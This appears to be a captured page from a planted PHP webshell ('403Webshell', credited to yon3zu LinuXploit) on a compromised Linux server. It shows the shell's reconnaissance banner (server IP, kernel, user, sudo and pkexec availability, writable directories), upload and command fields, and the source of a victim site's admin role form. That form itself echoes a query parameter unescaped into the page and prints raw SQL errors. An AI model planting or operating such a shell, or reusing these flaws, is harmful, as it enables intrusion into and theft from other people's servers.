403Webshell
Server IP : 172.67.201.108  /  Your IP : 216.73.216.11
Web Server : Apache/2.4.68 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-69-123.ec2.internal 6.1.176-223.369.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Jul 24 13:34:27 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/mitzvahm/planner/admin/mod/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/mitzvahm/planner/admin/mod/role_form.php
<?php
	include('_form_header.php');
	$form_error = 0;
	$form_role_error = '';
	if ($_POST['Submitted'] == '1')
	{
		$form_saved_role_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['SavedRoleID']));
		$form_role_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['RoleID']));
		$form_role_description = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['RoleDescription']));
		$form_active = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['Active']));
		if ($form_active == 'on')
			$form_active = 'checked';
		if ($form_role_id == '')
		{
			$form_error = 1;
			$form_role_error = 'Role must be non-blank!';
		}
		if ($form_error != 1)
		{
			if ($_GET['ACTION'] == 'edit')
			{
				$sql = "UPDATE admin_roles 
						SET RoleID = '".$form_role_id."'".
							",RoleDescription = '".$form_role_description."'".
							",Active = ".check_to_bool($form_active).
						" WHERE RoleID = '".$form_saved_role_id."'";
				mysqli_query($GLOBALS['con'], $sql);
			}
			else
			{
				$sql = "INSERT INTO admin_roles (RoleID,RoleDescription,Active) VALUES (".
							"'".$form_role_id."'".
							",'".$form_role_description."'".
							",".check_to_bool($form_active).")";
				mysqli_query($GLOBALS['con'], $sql);
			}
			if (mysqli_error($GLOBALS['con']) != '')
				echo 'SQL:  '.$sql.'<BR />Database Error - '.mysqli_error($GLOBALS['con']).'<BR />';
			else
			{
				echo 'Update successful';
				echo "<SCRIPT>";
				echo "window.parent.location.href = window.parent.location.href;";
				echo "</SCRIPT>";
			}
			exit();
		}
	}
	else
	{
		if ($_GET['ACTION'] == 'edit')
		{
			$key_id = mysqli_real_escape_string($GLOBALS['con'], trim($_GET['KEYID']));
			$sql = "SELECT * FROM admin_roles WHERE RoleID = '".$key_id."'";
			$result = mysqli_query($GLOBALS['con'], $sql);
			if (mysqli_num_rows($result) < 1)
				die('Database error!  Record not found, Key ID:  '.$key_id);
			$row = mysqli_fetch_array($result);
			$form_saved_role_id = $row['RoleID'];
			$form_role_id = $row['RoleID'];
			$form_role_description = $row['RoleDescription'];
			$form_active = bool_to_check($row['Active']);
		}
		else
		{
			$form_saved_role_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['SavedRoleID']));
			$form_role_id = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['RoleID']));
			$form_role_description = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['RoleDescription']));
			$form_active = mysqli_real_escape_string($GLOBALS['con'], trim($_POST['Active']));
			$form_active = 'checked';
		}
	}
?>

<div class="form-header">
	Role record detail - <?php echo $_GET['ACTION'] ?>
</div>

<form name="frmDetail" id="frmDetail" method="post" action="role_form.php?ACTION=<?php echo $_GET['ACTION'] ?>" >
	<input type="hidden" id="Submitted" name="Submitted" value="1"  >
	<input name="SavedRoleID" id="SavedRoleID" value="<?php echo $form_saved_role_id; ?>" type="hidden">
	<table border="0" cellspacing="3" cellpadding="0" style="text-align:left;" >
		<tr>
			<td>
				<div style="width:180px;">
				</div>
			</td>
			<td>
				<div style="width:330px;">
				</div>
			</td>
			<td>
				<div style="width:180px;">
				</div>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Role ID:
			</td>
			<td>
				<input type="text" id="RoleID" name="RoleID" value="<?php echo $form_role_id; ?>" class="input-box" style="width:150px;" size="15" maxlength="15" >
			</td>
			<td valign="top" class="error_text">
				<?php echo $form_role_error; ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Role Description:
			</td>
			<td>
				<input type="text" id="RoleDescription" name="RoleDescription" value="<?php echo $form_role_description; ?>" class="input-box" style="width:300px;" size="45" maxlength="45" >
			</td>
			<td valign="top" class="error_text">
				<?php echo '&nbsp;' ?>
			</td>
		</tr>
		<tr valign="middle">
			<td valign="top">
				Active:
			</td>
			<td>
				<input type="checkbox" id="Active" name="Active" <?php echo $form_active ?>  >
			</td>
			<td valign="top" class="error_text">&nbsp;
			</td>
		</tr>
		<tr valign="middle">
			<td colspan="3" align="center">
				<br />
				<input type="submit" name="btnSubmit" value="Save" class="default-button" >
				&nbsp;&nbsp;&nbsp;
				<input type="button" name="btnCancel" value="Cancel" class="default-button" onClick="resetForm();" />
				<br />
			</td>
		</tr>
	</table>
</form>

<?php include('_form_footer.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit